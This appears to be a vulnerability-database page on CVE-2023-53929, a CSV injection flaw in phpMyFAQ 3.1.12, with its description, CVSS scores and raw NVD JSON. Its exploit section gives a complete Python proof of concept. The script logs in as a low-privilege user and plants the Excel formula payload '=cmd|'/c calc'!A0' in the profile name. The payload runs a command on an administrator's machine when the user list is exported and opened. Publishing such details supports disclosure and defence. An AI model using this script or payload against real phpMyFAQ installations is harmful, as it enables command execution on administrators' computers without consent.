Security Vulnerability Report
中文
CVE-2023-53929 CVSS 8.8 HIGH

CVE-2023-53929

Published: 2025-12-17 23:15:52
Last Modified: 2025-12-31 18:45:40

Description

phpMyFAQ 3.1.12 contains a CSV injection vulnerability that allows authenticated users to inject malicious formulas into their profile names. Attackers can modify their user profile name with a payload like 'calc|a!z|' to trigger code execution when an administrator exports user data as a CSV file.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:phpmyfaq:phpmyfaq:3.1.12:*:*:*:*:*:*:* - VULNERABLE
phpMyFAQ < 3.1.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2023-53929 PoC - phpMyFAQ CSV Injection This PoC demonstrates the CSV injection vulnerability in phpMyFAQ 3.1.12 """ import requests import re # Configuration TARGET_URL = "http://target-ip/phpmyfaq" USERNAME = "attacker" PASSWORD = "attacker123" # Malicious payload for CSV injection # This payload will execute calc.exe when opened in vulnerable Excel versions CSV_PAYLOAD = "=cmd|'/c calc'!A0" # Alternative payload using pipe syntax CSV_PAYLOAD_ALT = "calc|a!z|" def login(session, username, password): """Login to phpMyFAQ and return session cookies""" login_url = f"{TARGET_URL}/index.php" data = { "action": "login", "username": username, "password": password } response = session.post(login_url, data=data) return session if "login" not in response.url else None def inject_payload(session, payload): """Inject malicious CSV payload into user profile name""" profile_url = f"{TARGET_URL}/index.php?action=edituser" data = { "realname": payload, "submit": "Save" } response = session.post(profile_url, data=data) return "success" in response.text.lower() def export_users_csv(session): """Trigger CSV export of user data (requires admin privileges)""" export_url = f"{TARGET_URL}/admin/index.php?action=exportusers" response = session.get(export_url) return response.content def main(): print(f"[*] CVE-2023-53929 PoC - phpMyFAQ CSV Injection") print(f"[*] Target: {TARGET_URL}") session = requests.Session() # Step 1: Login as low-privilege user print("\n[1] Authenticating as low-privilege user...") if not login(session, USERNAME, PASSWORD): print("[-] Login failed") return print("[+] Login successful") # Step 2: Inject malicious payload into profile name print(f"\n[2] Injecting payload: {CSV_PAYLOAD}") if inject_payload(session, CSV_PAYLOAD): print("[+] Payload injected successfully") else: print("[-] Failed to inject payload") # Step 3: Notify admin to export users print("\n[3] Payload planted. When admin exports users to CSV,") print(" the malicious formula will be triggered in Excel.") print("\n[*] Attack complete. Awaiting admin action...") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53929", "sourceIdentifier": "[email protected]", "published": "2025-12-17T23:15:52.343", "lastModified": "2025-12-31T18:45:39.697", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpMyFAQ 3.1.12 contains a CSV injection vulnerability that allows authenticated users to inject malicious formulas into their profile names. Attackers can modify their user profile name with a payload like 'calc|a!z|' to trigger code execution when an administrator exports user data as a CSV file."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1236"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpmyfaq:phpmyfaq:3.1.12:*:*:*:*:*:*:*", "matchCriteriaId": "52828AF3-BEEF-4F67-BC7B-EC20357286ED"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/51399", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.phpmyfaq.de/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/phpmyfaq-csv-injection-via-user-profile-export", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/51399", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}